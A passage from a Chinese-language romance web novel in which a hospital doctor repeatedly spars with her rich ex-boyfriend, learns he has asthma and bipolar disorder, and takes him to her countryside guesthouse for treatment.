没搭理传入问诊室的脚步声,直至耳畔出现近在咫尺的指骨叩桌面响。
但凡多看一眼都得瞎。
她短短瞥视坐身前的林瀚睿,佯装整理医疗用具:“哪儿不舒服?需要我给您把脉吗?”
“您”字着重得特别刺挠。
迟迟不听他动嗓,梁尔璐恼火:“那你不看病就滚啊!”
周边坐诊位的老中医们齐刷刷转身,头一回见后辈用这服务态度。
甚至烦躁抓乱发绺,对沉默的男人冷眼相待,朝他使劲丢去掉在指间的几根长发。
横竖不用再接待病人,梁尔璐起身离开,甭管林瀚睿的车贵几何,她进了后座就摔门。
死都不乐意被拍到和豪门太子爷同框。
他倒也不浪费时间,腔调平静地直说来意:“你还没回答我昨天的几个问题。”
事到如今问她什么都毫无意义。
双方之间已隔大段的空,梁尔璐垂眼憋了闷,一再往车门边挨:“港爷,你看不懂中文?还是我当年发错了汉字?没附带英文版的,对不起。”
“还有跟我结婚的事。”
“你差不多行了……”男小三游戏真有那么好玩?
二度摔车门,她回中医馆,靠向门沿折进的墙角,招呼前台的员工:“刚才那个西装男如果以后再进来,赶出去。”
“先生,请您……”
梁尔璐闻声转看,瞧林瀚睿收回了疑惑的脸容,漾一抹浅笑,导致员工愣在原地,说话彻底卡壳。
她感觉头更晕疼。
“结结结,大哥我结!”喊罢,她直接跪地,低头前倾身体,“再给您拜个早年,祝您发财树健康!”
员工见状,也噗通一声跟着跪旁边:“先生,请您不要带走梁医生,再宽限一点还债的时间吧!”
“啊”字愣是哽喉口,梁尔璐滞缓抬了睁大的眼,震惊的视线徘徊于员工与林瀚睿之间。
有没有一种可能,她只是趁机在用这个姿势缓解胃疼?
听清林瀚睿僵硬扯出的“好”,她由员工从地上搀扶:“没事了没事了,你还缺多少,我会和老板说自己欠债,预结一波工资。”
站姿令梁尔璐的脑子被疼懵,难以组织语言:“呃,不是,那个……啊就是,对!没事了,我自己会解决的,谢谢你,中国好同事!千万不要告诉我爸!”
也不知谁才是债主。
她是,却只能在员工百般担心的目光中,硬着头皮随林瀚睿再次上车。
“你……”
狭窄空间引发烦闷,坐姿却使胃好受一些,梁尔璐拧眉瞪他欲言又止的迟疑模样:“我不跟你结婚。”
“你……”
“我不跟你结婚。”怎么的?她也会重复强调。
“你哪儿不舒服?”
意料之外的字句。
梁尔璐倏地重掀眼帘,打量林瀚睿如释重负般的不自然神情。
“我只是想问你这个。”
“我哪儿都舒服。”她才想起这家伙刚才第二次走出中医馆,虽处在前方,但脚步确实放慢了挺多的。
林瀚睿垂眸,指尖抚过触感趁手的衣褶:“首先,脾气异常暴躁,其次,看我不顺眼,上了两趟车,却一直是向左边侧靠,面对着我的姿势,身体舒服就应该朝右,眼不见为净。”
梁尔璐皮笑肉不笑,将落向他手背伤口的视线撤离:“你想多了。”
“你应该反驳,和人说话面对面才算有礼貌。连这种极致简单的合理借口也无法现编,你肯定生了病,脑子不清醒。”
怎么像骂她呢……
“那你明知道我今天很累,还没怎么休息过,却三番五次来烦我?”难以否认林瀚睿的逻辑,梁尔璐琢磨着他就患胃病,那肯定知道左侧卧位能有效缓解胃痛这一点,“我现在也是肠胃科常客。”
精力不济,她暂且休战,竟然遭男人一句“我只有哮喘”打破难得的和谐。
胃似被针扎,强横得药都难压,横竖便宜车子不蹭白不蹭。
梁尔璐冷哼回应这欠揍玩意儿:“死骗子,去医院。”
等她出声,林瀚睿才让司机动身,梁尔璐斜睨他半眼。
骗子就是骗子,再怎么端这尊重她的卑微样儿,也没用。
她闭目忍疼:“等签证的几周里,你滚远点。”
“你这两天都有些太凶了,尤其昨晚吃烤菠萝的时候,想咬死菠萝。”
每每想到四年前真心给林瀚睿买烤菠萝那晚,他正行欺骗的坏事,梁尔璐便怒火中烧。
“对,昨儿白天怎么就没咬死你呢!”防止失误,她怨怼睁眼,抓出大把衣服口袋内用作哄小孩病人的糖果,力气软乎乎地精准砸男人身上。
攻击性为负,林瀚睿顺势剥糖吃:“第四次了,和你老公吵架的时候也喜欢扔东西?”
“我也喜欢泼冷水。”
“小三,你千万不要认为自己有希望了。”
梁尔璐揉揉胃,续声:“是这样,昨天照顾你吃饭的同时,我正和你主治医生聊天,因为实在太好奇你的哮喘病因了,但医生不能随意泄露患者信息,那就只能先告诉他,我愿意当你的私人中医。”
“是我误会了,以为你当时像四年前天桥和昨天酒店那样,哪怕只是隔着一间病房门也要和梁奕珩聊天,吐槽我这个讨人厌的前男友。”
“你和老公情比金坚,平时你一定经常跟老公远程联系,我好羡慕,但他很忙吧?不像我,管理的公司加班少,我有特别多的时间回家陪老婆。”
梁尔璐
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实在懒得搭理。
难怪发疯强吻,眼下这绿茶味儿也别太浓……
她咋舌闭眼,眼不见为净。
却没能遂意,林瀚睿捏来脸颊,轻巧喂进了颗糖,极不安分的指腹戳按她唇瓣:“四年,梁奕珩第一次吻你?”
甜,但胃又不是饿疼的。
半个眼神未给予,梁尔璐使劲拍掉他作乱的手,掌心触感分明,是道浅显愈合的伤口。
活该,只被划一条已经算是捡了大便宜。
因此意外得了持续够久的沉默氛围,她第一时间下车,车子也并不停留。
胃痉挛得狠,压根无法多走几步,梁尔璐捂着上腹,半道险些撞个医生。
对方蹲下搀扶:“A702姐?你是怎么个不舒服?为什么?有无既往病史?”
她没闲心搭理医生话里前五个奇怪的字,思绪混乱,急迫想说是胃炎但发不了声。
“你坚持一下!”
周围的动静嘈杂又渺远,梁尔璐晕晕乎乎地躺急救推床闭眼缓劲,等被安置进病床,惊觉居然是熟悉的住院部A区VIP病房。
所以医生刚才叫她什么?A702什么?
傻愣间,已被一圈医护人员包围。
带头的医生出声交代:“再催催王护士长,林先生指名要她。”
以及一些细碎的议论声。
“原来梁医生就是A702姐啊。”
“以前都是听的八卦,今天可算是近距离见到漂亮姐姐了。”
“对,林先生那位!”
A702……姐?
在医院任职多时,梁尔璐倒还是头回听见这贴切瓜主身份的绰号:“情绪性胃痛。”
早知如此,她四年前就该多待医院几天社牛地吃瓜,否则也不至于到现在才知晓林瀚睿的太子爷身价。
梁尔璐缩回手,不肯给护士长扎:“我血管很细。”
“梁医生可能不清楚,王护士长是主任护师,尽管放心。”
那她的确只安静待骨伤科那一亩三分地,鲜少搁职场多社交。
“血管是挺细,但你皮肤白,它就够明显,别怕,就一瞬间的事。”
血管细这话题,梁尔璐记得当初只在林瀚睿上班之后,她才与家庭医生提过。
所以连这种细枝末节都不曾忘却的人,肯定是装失忆。
狗东西!
估计医护人员们已走远,梁尔璐下床,带走移动输液架。
急诊室横竖都比这VIP病房顺眼太多。
偏生开门之际,与拎着餐厅外带晚饭的林瀚睿误打误撞相对。
既是面对面的情形,梁尔璐抬手打了他一巴掌。
男人显然是被猝不及防地打偏过脸,侧颊浮现的神情尤为怔忡,却只愣少数几秒,眸光旋即发亮,唇际衔笑着转视她。
气氛凝滞一般。
梁尔璐面色沾染慌意地后退,眼看林瀚睿惟独笑,心情大好似的。
她只用了十五个月就达到博士毕业要求,发疯地在三十岁之前毕业,已经习惯受刺激,麻木到精神状态稳得不行,可惜面对林瀚睿时依旧难压情绪。
此刻忍无可忍了:“你识趣自觉点滚开,行吗?”
胃疼激得生理性眼泪不受控制流,梁尔璐绕道。
男声紧随其后,丝毫不含挨了辇的狼狈:“在你老公面前也这么娇气爱哭?”
“对啊,你想怎样?”
“看来你们夫妻感情不错。”
她这会儿是真的想哭了,没成想竟正中林瀚睿设的圈套。
言下之意昭然。
所以她和林瀚睿这“男小三”的感情也不错。
才不是!
她在漫长的四年里确实还喜欢着,可自从知道他装穷谋取自己,心霎时凉了。
梁尔璐第一次切身领略,爱与恨是能顷刻间转变的。
她咬牙拔出输液针,取下与之连接而高高悬挂的袋装生理盐水。
骨伤科医生坐诊时习惯随身携带用作剪膏药的剪刀,她面色不豫地和林瀚睿对视,利落剪断输液软管。
35.夏日
“哪怕是一刀两断,这半边也该给我。”
“你是赖皮狗吗?”梁尔璐直瞪林瀚睿,使劲扯回被他攥紧了另一头的输液软管。
男人瞳色浅,即便凝重压沉些,也似乎流露尚可好言商量的余地,五指却相反着坚持不松,骨节处泛白。
按双方拉扯的角度,输液针显然扎进林瀚睿掌心。
无非是欺她现在没多余的力气,软管又滑溜难抓,梁尔璐无奈放手。
“既然你要喝光生理盐水,不浪费医疗资源,团队已经为你制定安排了患者护理计划,你必须留下。”男声同样强硬得令她不容拒绝。
倒胃口。
生理盐水本就难喝,梁尔璐将还算有分量的透明袋扔向林瀚睿:“都给你咯,千万别浪费。”
她坐回床沿,弯了抹笑,示意旁边的陪护椅:“当我的面,喝光。”
实际杀伤力不强,但整整100ml下肚,必然会口干舌燥,且长时间堆聚在喉间的咸涩可能影响支气管。
“不是骗我得了胃病吗?那就和四年前一样,别让你的哮喘发作。”
“你做得一直很好,不是吗?”
病房的空调处于无声模式,冷气徐徐。
梁尔璐半眼都未撇开,眼看林瀚睿垂眸蹙眉,充斥难受感的睫毛翕扇,轻微气促之间靠着瓶口剩余的一短截输液管,逐渐空了袋。
“真乖,我这就奖励你。”指腹轻沾了少许杯子内的水,她倾身将其覆上男人的唇瓣,摹形般湿润,一遍结束这无济于事的止渴方式。
“呼吸就算了,忍住咳嗽,我不想听见你太多的声音,抬起头吧。”顺手拿过床头柜摆的蓝色药盒,梁尔璐敲点包装背面第三行的适应症说明,“看到没?这药是治周围神经病的。”
“我有神经病,别惹我。”药一般,果然得用发疯获取的美丽好心情缓解情绪性胃痛。
她看够林瀚睿眼眶蓄不住的泪水满溢:“你好可怜,别死我面前,就这么走了?我也不想用你的水杯。”
死不了。
喝水后更死不了。
这才哪到哪?受不了就别惹她。
更不想住他的病房。
可电梯太忙,梁尔璐换走楼梯。
之前院方通知低层的礼堂需要维修座椅,她路过时正收尾,工作人员搬了废弃纸箱离开,身处的方位不同,她轻易发现众人遗落的一只纸箱,彻底由座椅遮挡。
碍于总不合时宜作祟的社恐,梁尔璐仅是进礼堂捡了打算追去给,听动静抬头探看却见大门关得严实,甚至被上锁。
拍门呼喊或是正对监控呼救都难免丢人,她第一时间联系今天值班的同事,门板外侧忽地传来电子按键声,随缝隙出现的身形熟悉。
“关……你关什么门!”耳内炸开林瀚睿施加推力之后锁舌嵌扣的轻响,梁尔璐的紧张也放大,当即砸他空纸箱。
没砸准,白白给他捡起,步步逼近她。
梁尔璐退得腰硌到演讲台边角,吃痛而软了腿,跌坐台子内侧下方的地面:“你小心眼!讲点道理,难道我不能报复你吗?”
摸不透林瀚睿沉默蹲下对视的意思,她仿佛被控住一般,惊慌盯他静出冷意的五官:“你你你想怎样?这么近距离耍赖砸我也太不男人了吧!”
男人依然不作言语,唯独抬起攥了纸箱的右手。
余光敏锐捕捉这动作,梁尔璐下意识闭眼。
后一秒竟单单是遭林瀚睿含唇吻住。
本以为将用来痛击她的箱子,此刻经男人罩挡了二人的脑袋,视线所见昏昧。
虽只有单手托她后脑勺,梁尔璐始终难挣离,箱体空间急剧缩小呼吸交缠的范围,咬出的血味成功恶心到自己病恹恹的胃,但也不敌林瀚睿这力道。
得亏他还做人,顾及她含混的嚷声。
梁尔璐皱巴着脸忍呕,揪走林瀚睿西装口袋内方巾,捂嘴吐掉大多数蔓延口腔的血。
老实吃男人慢条斯理剥开的糖,她使劲擦唇上的铁腥:“神经病,没人说你反复无常吗?”
刚才分明还卑微配合她的欺负,现在可谓是两级反转……
梁尔璐心一横,推开他就跑。
医院外的空气并不爽朗,她缓步走向垃圾桶,狠狠丢方巾。
下班高峰期车流如川,部分网约车停附近,她瞧个出了后座的女人大声吐槽司机:“都已经接我一个人的单了,还让我再等等两个人拼车,你倒是会赚钱啊。”
林瀚睿找到璐尔璐时,见她瘫坐在日晒整天后烫热的街边地面,无助捂双耳,随即嗓音颤抖着尖叫。
他设法将惊惧推搡的女人拥入怀中:“我在,我在的,没事了。”
意料之外地眼看她逐渐平息情绪,也异常急迫圈臂,抱紧攀附而来,一声声细弱间,连名带姓轻唤他。
*
当夜,梁尔璐昏迷不醒,惊吓过度引起发烧,甚至反复几天,体温高低不一。
她头疼到整个人昏沉乏力,却犟得极不配合林瀚睿,最终逃出医院吃上日思夜想的甜品自助。
“珩仔,我完全抵抗住了狗东西送的那些甜品诱惑,说是出自一些几星级酒店餐厅的大厨之手,有钱了不起?”远不如店内二人食就可免费获取的一份限量榴莲千层,她欣喜张望挂墙的钟表,“快了快了。”
原本找了闺蜜,可惜这老板娘正巧代替请假的时尚买手出差。
梁尔璐舀一勺绿豆沙,横竖早晚都得面对梁奕珩,不如趁机缓和尴尬关系:“等等……我的榴莲千层怎么会去那桌啊?比我们后到店那么久!”
她凶巴巴站起,寻思还来不及换掉一身病号服,适合发疯。
“这最后的第150份幸运,什么道理啊?就进你们嘴里了?是不是觉得我没看见是你趁店员不注意,自己去柜台拿的?”
被话语所指的女人反倒面色不屑地嚣张:“没必要吧,只为了这么一点事?我们今天难得来深城玩,怎么,你不会是穷鬼买不起吧?”
至于她身旁沉默的同伴,再次皱眉。
继续输出的该是后知后觉说错了话,急忙添话:“你也看到是我一个人拿的,对不起。”
本打算息事宁人,但和狗吵架到底挺没意思的,梁尔璐更想遛一遛牵绳的主子:“我是神经病,今天难得从医院逃出来玩,你们要不要体谅我一下?这位,请问你是聋子还哑巴?随便放人出来乱咬。”
“有病就回去治,你算什么东西!居然敢这样说我朋……”
“我也说你了,更难听,你是没有自尊吗?她上辈子救你全家了?全是你在冲锋陷阵,软膝盖的丫鬟!”所幸被梁奕珩揽过,她才免于被泼一碗冰凉的甜汤。
心有余悸,梁尔璐下意识挽他胳膊借力站稳,彻底无视某位高高在上大小姐迟来的道歉。
发烧的余韵似乎因激动情
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绪加重,她扶梁奕珩转身,缓缓掀抬发沉眼皮却撞见站店门口的林瀚睿,冷厉目光直戳他们相挽的手。
她怔怔,缩退大半的五指反被梁奕珩握紧,身子也由他护去肩后一些,带回了餐位。
大小姐跑近的脚步声响过桌边,大小姐嗓音雀跃:“Hendrix,你怎么来了?”
“我来找人,听长辈们聊起你一回国就到这旅游,住酒店期间的相关事宜可以直接联系我。”
梁尔璐背对着门,眼不见为净,替充满林瀚睿温柔声线的耳朵感到嫌弃。
找人。
找她这落跑病人的吧。
她意念掐人中,示意梁奕珩先别吃:“你千万不要被他逮到,不然你的手危险了,总之四年没见,他的病情还是很严重。”
男人似是听进去,拨拨碗里的调羹:“对不起,我和林瀚睿,早于你认识她,我刚知道你们四年前谈过恋爱,所以不用我说,你也应该知道了,他人是好的,但不适合深入婚恋。”
“所以你以前总暗示我,他不好。”没见人回应,梁尔璐轻叹,“没关系,我现在只想远离他,对了,你喝这碗,我严选出来的全店最好喝。”
小插曲虽多了些,但不影响她食欲。
手机偶然来电,她庆幸并非林瀚睿那狗东西,是陌生年轻男人。
“梁小姐,我是林先生的前私人中医,请问现在有空见一面吗?璟云山居21幢。”
那不就她所处街道的附近?步行也近。
狗东西的家……
暂时告别梁奕珩,她前往别墅。
对方约在书房,梁尔璐惊讶这同行年轻人又手写医案的习惯,整箱子满当,她随意打开一本,简直事无巨细到没白拿薪水的敬业程度。
林瀚睿还真挺太子爷的,一身仿佛旧时代被手底下御医长年累月记录脉案的金贵模样。
男人添声提醒:“并不算哮喘里的重症吗,林先生本人也注重控制,至于平时最危险的诱因是他养猫,预祝你工作顺利。”
“谢谢你,我一定认真看。”
梁尔璐留书房多翻看会儿才下楼,谁知晦气遇着不知何时坐在客厅的偷蛋糕贼,女人二话不说用力推她。
“谁让你偏要保护这个破箱子的,是你自己的错!”
稍加确认手臂轻微扭伤而非骨折,梁尔璐嘶声缓着疼,将距离远了些的箱子拢进怀内。
那她有什么办法啊。
劳动合同附带的保密协议中写了一条,称私人医生不能因任何有意无意的形式对外透露林瀚睿有哮喘,否则需巨额赔偿。
看在钱的面子上,她忍。
女人却变本加厉地口口声声嘲她“瘸子”,高跟鞋尖头戳她阵痛密集的手臂患处:“我平时就是这样逗狗的,被我踩,你应该觉得有福……”
“用几十年发展的企业,我能在一天之内让它退市。”
“被我处理,你们应该觉得有福气。”
自高处落下的嗓音寒凛,梁尔璐循声望向楼梯。
林瀚睿弯唇谑笑。
站他身旁的女人面色一如白纸:“我家,我家也……我,Hendrix,我们是青梅竹马!”
“妹妹,既然养狗不拴绳,你就该死啊。”
梁尔璐试图阻拦这温声软语入耳,因受吓而闭眼。
感谢太子爷的大恩大德!
她也无福消受!
36.夏日
伤到的是手,她却久久走不动路,怔望前来搀扶的林瀚睿。
“你是在开玩笑的吧?没必要这样赶尽杀绝。”沙发软得梁尔璐隐隐心颤,她转看门外飞逃的两个仓促身影。
“听你的,我会宽容一些,所以你想让她们两家亏损多少钱?”
其实习惯了林瀚睿每次扳回她脸,让眸光相汇而胶着的强势,但终归远隔四年。
梁尔璐撇开视线:“我……我不懂啊,你别让破产就行?先不管老板,关键是会有很多挣扎在温饱线上的打工人失业。”
“是我欠考虑了。”
她悻悻干笑。
林瀚睿真不至于装傻,说的像是承了她情。
扶沙发打算站起,梁尔璐疼得惊觉错用了伤手,身体劲直往后陷倒,凌空感又旋即接续。
男人步子偏快,抱她上了楼。
挣扎的念头刚起,她见林瀚睿流泪,可惜擦不及这淌速汹涌的势头。
莫名其妙哭,奇奇怪怪的。
因他神情发愣,梁尔璐在其衣服上嫌弃抹手:“小三,你又觉得自己有希望了?希望哥,我是怕你哭花眼,踩空楼梯,把我摔了。”
得他脸色低落后的一句“铁石心肠”评价。
说谁没心呢?
她不服气:“重逢之后我是没给过你好态度吗?我甚至想着好歹真心喜欢过就算了,大家往后各过各的,相安无事,是你自己顶了个招我痛恨的装穷前科,像狗皮膏药一样黏得我越发生气,生气到极点!你是不是活该?是不是?你哭成一滩水也没用!停下,我要回家!”
“押韵了。”依言帮她站稳,林瀚睿凝看梁尔璐跑远的背影。
确定双方互不在视野范围内,他拧紧眉峰,咬牙去扶楼梯扶拦,但手脚完全麻木脱力,磕摔且无法再起身。
其余感官清明,他听梁尔璐折返,大老远出声:“我想过了,这么机密的一箱东西,还是在你家看完留下吧,让我带走的话可能有风……险,你真摔了?”
“否则我会放你走?”
梁尔璐这回是服气了,忍笑打量林瀚睿一身狼狈相却仍放狠话的模样:“感谢您的大恩大德,我走了。”
“哦对,你不仅装穷骗我,还骗了和民宿老板的好哥们关系,我甚至听说你跟梁奕珩也早就认识?所以?”
她寻思男人迟迟不起,楼梯八成舒服,便也坐下:“难道你同样认识我很久了?”
不屑好哥哥主动坦白来赚梁尔璐好感,顺势增加他罪状的行为,林瀚睿轻嗤。
“从小听梁奕珩说喜欢的女孩,他能暗恋,我也能偷抢。”
“经管学院唯一没和你告白过的男人,是我。”
“你硕士毕业前夕,我对你一见钟情。”
“没恨过你,我远比你以为的,更爱你。”
“无非因两家关系交恶,导致我们幼时没见过。”
“本质上,梁尔璐和林瀚睿也是青梅竹马。”
“青梅竹马这么多年,你只待梁奕珩是朋友,却愿意予我情爱。”
“你能再爱我一次吗?”
嗯,图穷匕见了吧。
足够用来吃瓜的信息量爆炸,逐渐压息梁尔璐心底浮漾的不安分动荡:“你能再全文背诵一遍吗?”
“我这些话全是现说的,发自肺腑,你走吧,拿到工作签证之前别见我。”
听着他瞬间闹脾气的腔调,梁尔璐抬手指指自己:“我……我?你搞清楚了,我这几天以来根本没有一次是愿意见到你的。”
“我油盐不进,即使你上猛料。”她迈步再挪回,险些绊楼梯,“骗子,我恨你!”
*
本以为离开了别墅能清净,梁尔璐紧急收回望见林瀚睿私人医生的视线,催梁奕珩快些办理出院手续。
但难架对方用跑的,停她身前了却欲言又止,脸色急得似乎真可以逼出血色。
“谢医生是想说你老板的什么事?我是他家里认了干亲的哥哥。”话语苍白,梁奕珩取出衣领下的白玉长命锁项链,“干娘给的信物。”
“哥,道理是这样没错,但我有苦衷,只能告诉梁姐。”
梁尔璐眼瞅质地细润的项链,依旧处在梁奕珩随口曝光的大片瓜田中,艰难回神:“不然他得赔一个亿的港币,珩仔,你等我会儿。”
绕去拐角,谢柏延放低声量:“Hendrix的腿木僵了,因为双相障碍的躯体化症状,这次比较严重。”
碍于分贝轻,梁尔璐听得愈发认真,此刻闻言犯怔,张口道不响半个字眼,满脑海充斥林瀚睿骗说没心理疾病的弥天大谎。
难怪他会反复无常,会忽然哭,会摔倒了站不起。
“可第一反应不该是找心理咨询师?我是中医,治标不治本。”
“我学的是全科西医,你虽然主修骨伤科,但本质从小就学全科中医。”
谢柏延说得含蓄,梁尔璐倒明白。
所以为了在家族和公司隐瞒哮喘与心理疾病,林瀚睿身边只能有伪装成秘书的全科医生,万一哪日东窗事发,也可以美其名曰长期近距离检控健康。
谢柏延实在确不准女人沉默的态度:“梁姐,那你是去还是……”
“我有医德。”梁尔璐撂话离开,招呼远处的梁奕珩下楼。
“他是不是生病了?心理问题?”
语出惊人一般,她抬头愣看梁奕珩,而男人仅是平静目视前方,而侧颊骨感鲜明的轮廓泛些柔意。
“我知道原因,但有些事需要他亲口告诉你。”
“在他眼里,我是恩怨一体的存在,哪怕这几年因为你,我们相看两厌,互使绊子,却也真的无法绝交。”
梁尔璐光听着便觉头疼:“你们以后别打架了,三十岁,又不是三岁,我也会去骂他的。”
得他一声轻笑:“送你过去?”
“行。”她忍不住叹了口气。
虽需要回家取医疗工具,车程照样不长,梁尔璐应下梁奕珩“记得骂他”的道别,忍俊不禁。
赶到林瀚睿的卧室,她确定谢柏延正可怜兮兮挨着林瀚睿无声的骂。
“就算他今天不找我,你这病也迟早在未来一年工作期限内被我发现。”身后逃跑的动静随关门声消失,梁尔璐坐床沿,“知道你不想见我,你没必要嫌弃这么明显。”
“谁说我不想见你的?”
男人嗓音惹急,她停翻手底的出诊包,抬眼凝看林瀚睿激动中仍显病色的苍白脸:“那你就配合我治病。”
说着要人配合,她却将号脉的手指迟疑悬空在他腕部皮肤上方,好久才落。
相识以来,这还是第一次给林瀚睿诊脉。
特别奇妙。
意料之中的哮喘所致脉象,梁尔璐撤手,视线重回他持续盯看来的深深双眸:“伸舌头,舌面和舌底都要。”
怎知他局促垂眼,神情蓦地浮涌抵触意:“这个就算了。”
“伸舌头给我看。你怎么比小孩病患都不乖?连这都受不了?一会儿针灸时不得哭了?我可没糖哄你。”
见
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他依旧沉默拒绝,梁尔璐含笑揶揄:“都接吻多少次了?你在尴尬什么?”
那箱医案里没少见有关舌象的记录,到她这儿就娇羞了是吧。
“你也在尴尬。”
遭淋瀚睿直白点出面红耳赤的状态,她清嗓,拿身份压:“作为病人,你早晚会对着我伸舌头,逃不掉的。”
为缓解包围圈似的热烘感,梁尔璐转移注意力,目光挪向薄软被褥折现出的双腿形状。
“不用管,麻一段时间就会好。”
“嗯,那你现在把我辞退吧,我本来就不想看见你。”
“实际发你工资的人是我爸,你去找他说。”
简单的一回合半交锋,梁尔璐完全落败,没好气地掀开被子,轻按腿。
“目前还是毫无知觉?除了木僵,平时应该也会有胀痛的时候,你具体描述症状,我可以帮你针灸、中药调理之类的去疏解郁结,养心安神,但比不上你自己调节情绪。”
“我想每天都看见你。”
手劲下意识重了些,梁尔璐匆忙松开指节,抑住想抬眼睫的冲动:“以前不是说没我就会死?没见我四年,你不也活着?”
林瀚睿如此答非所问,她根本失去了低头逃避他的合理借口,遑论正分秒感知到男人并未收敛的凝视。
再三焦灼,她将无处安放的尴尬五指探入出诊包摸索针灸针。
“因为我相信你分手是假,虽然每次都控制不住自杀,但回回死不成。”
“你是在无底洞里挖宝吗?”
无视他混了笑意的调侃,梁尔璐抓了包棉签,用力摁去床单,继续挖宝:“是真的,问你呢?说清楚从第一次木僵到现在的症状,发作频率什么的也要,气血两亏的前提下,你情志不调,引发两者更严重的瘀阻,你活着和死了有什么区别?”
“主要是四年没见你。”
梁尔璐语塞。
这不配合治疗的恋爱脑……
她深呼吸,攥紧轻巧软乎的脉枕垫,砸林瀚睿:“行,我从今天开始搬过来住,期间会对你进行一些常规治疗,希望你每天都开心,我求求你开心,只需要你配合这一点,可以吗?”
男人却是一如既往地不躲,顺势将其握入掌心,垂头间耍玩着捏揉边角,唇角噙笑:“我看见你就开心。”
“我先给你针灸,提前通通腿的血脉。”好歹劝说有效,梁尔璐起身坐去床尾,“不过你是有哪种双相情感障碍啊?”
“环形,快速循环,混合发作,虽然你见过我几次躁狂的样子,但我抑郁的时间偏多。”林瀚睿琢磨着她这是问对人了,他几乎倒背如流几个专有名词,挺无趣的记忆。
失眠导致的睡意沾床后更盛,他闭眼缓缓涩痛,直至洇出些微湿润,少许畏光的视线瞥见梁尔璐倏忽抬头,向他落来泛滥严肃的眸色。
“没关系,我现在很好。”
梁尔璐奇了怪了:“我管你好不好?你以后不准再找梁奕珩打架了,没觉得自己幼稚吗?”
林瀚睿皱眉,轻缓的嗓音显然不服:“一个巴掌拍不响。”
她倒是真服了这对兄弟:“我也骂过他了,你们都消停点。”
“除非我死。”
什么找死的话?
梁尔璐赶床头,揪住他的耳朵拎:“还死吗?”
目光偏转间,撞入他染淌着笑意的眼瞳。
“这么爱管我,你口是心非。”
她后知后觉松手,无法兼顾烫热的脸颊。
又上林瀚睿的当了。
37.夏日
“为人医者,当然不能见死不救了。”职业使然,梁尔璐信口拈来地掩饰,“我看你脑子转挺快,这种病会让人反应迟钝吧。”
幸亏林瀚睿放过她似地闭上眼,嗓声倦懒:“嗯,可能是回光返照。”
莫名耳熟,梁尔璐忆及是重逢那日生气调侃过他的原话,下意识因他这翻旧账的记仇行为抿唇。
男人此刻照旧阖了眸,眉心微锁:“针灸很痛,不用了,我想睡觉。”
是一副不需要她帮忙躺下的坐靠床背姿态。
梁尔璐依次取出几枚针灸针,等拿开最后一根止血的棉签,她瞅眼林瀚睿双手交握的脉枕垫。
“这种情况下会哮喘吗?”
“截至目前没有,偶尔会感到喉咙被掐住,基本都是觉得冷,心里堵得慌,想哭却哭不出。”
她其实已经再没指望他配合治疗的,因此怔忡数秒:“你想换个地方住吗?”
收着男人睁眼投来的不解目光,梁尔璐弯唇:“换吧。”
*
午饭后,他们抵达乡镇。
双方携带的行李无非两个行李箱,林瀚睿轻易搬出车,无视梁尔璐示意的后备箱深处。
“还有轮椅!万一你那腿又木僵,我甚至不一定拖得动你。”
梁尔璐撇嘴,望向手拉俩重箱子,迈了大长腿健步如飞的背影。
轮椅被塞得太进,她费劲才够到,落后好一会儿推进自家的中草药种植园。
前几年她想开间民宿玩玩,便保留了中草药种植与无尽夏花田的区域,额外在周围开辟了一栋三层别墅。
得益于旅游业,平时客流量居中上水平,反正她和梁奕珩也无所谓盈亏,整年中总安排大把时间暂停营业。
梁尔璐终归没接触过心理学,但农村的慢生活该是能让林瀚睿放松一些。
种植园占地面积大幅,林瀚睿才按路旁的指示牌到民宿门口,侧边蜿蜒入内院的小径双沿开满了蓝色的无尽夏。
地处乡下山间,附近的自然草木气息扑面而来,极为浓厚。
他抬头,两面都刻有店名“一个夏日”的木质竖牌悬挂转悠在门檐下,末端垂落小巧的银质烧蓝铃铛吊坠,迎风生响,恰如其分的灵动。
至于屋内的收银台风格类似,朝向顾客的单边运用了木条竖向平行排列设计,长度不一的七条木板之上,同样刻字。
我一直想要 和你一起
走上那条美丽的山路
有柔风有白云有你在我身旁
倾听我快乐和感激的心
我的要求其实很微小
只要有过那样的一个夏日
只要走过那样的一次
可能是诗歌,他没见过。
兴许是熟悉地形,梁尔璐偏快地出现身后,轮椅轱辘响:“对,你之前就打算跟我的民宿合作吧,不是说我愿意合作,是你怎么至今还没下文?珩仔说没被你联系谈生意啊。”
“另一个合作商因为儿子冲撞你那事,长期耿耿于怀觉得抱歉,我干脆换了一家民宿。”
“挺好,我本就不待见你。”梁尔璐忽然无事一身轻。
“我想问很久了,你有空招呼我来这,带孩子不忙?”
催林瀚睿前进别挡路,她没跟紧,避免轮椅轧到男人鞋跟:“医生本就工作忙,我不着家的,但是有我爸妈呢,这丫头还有干爹、谢叔叔和小竹马,日子别太舒服,过几天她放暑假来这,到时候归你带,我看你挺愿意喜当爹的。”
“不考虑两个干爹?”
“你做梦。”梁尔璐即答,面色嫌弃。
没见过亲爹上赶着当干爹的……失忆装得瘾也太重了吧?
呛他闭嘴,在楼梯口堆了行李,她带林瀚睿逛民宿,必要时介绍简短几个字。
除几间中医文化体验室,也有不少书画DIY室,林瀚睿乍眼瞧见挂墙的书法与国画作品,明晃晃全是梁奕珩的落款。
“你这没招过贼?”随便偷一幅都血赚,保准下半辈子吃喝不愁。
梁尔璐好似听了什么笑话:“有啊,扭送警局了,所以你要是在这房子里对我动手动脚的,我就送你一个甜甜的橘子吃。”
“之前对你做的那些,是我犯病了脑子不清醒,对不起。”
“哦。”算是回应他悻悻的声线。
不过这家伙似乎愈挫愈勇,神情重焕光彩:“你想要油画吗?虽然我不是什么业界大师,但是林家话事人,画价被炒得水涨船高。”
“太子爷您抬爱了,我受不起。”
“我不是这个意思。”
道歉超快……
梁尔璐细品这话的腔调,内涵挺丰富。
委屈。责怪。不舍。撒娇。
便难以置信地瞥他:“过来。”
带人到中医理疗室,她示意床位:“躺着吧,针灸怕疼,推拿按摩穴位会好很多,也是哮喘治疗里重要的一环。”
“不用了。”
“敢动半下,我就不和你结婚。”叫停男人即将偏转的身形,梁尔璐打量他拒不配合的欠揍模样,“你要气死我?以前和我上床时怎么没见你这样害羞?请问我们是不熟吗?”
“小声些,你是有夫之妇,和男小三共处一室,不光彩。”
实在忍无可忍林瀚睿煞有介事般戏弄她的面容,梁尔璐咬牙切齿:“小三,我和老公久别胜新婚的时候都没你这么扭捏。”
“你意思是让我用老夫老妻的心态,与你相处。”
脑子被他毫无破绽的逻辑轰炸到瞬息宕机。
梁尔璐用剜似的眼色,示意林瀚睿有胆就再说一遍。
男人笑意得逞,撒腿跑。
“谁和你是老夫老妻!你又故意设计我!狗东西!”
“那我成功的前提是了解你,你老公有我这么了解你吗?”
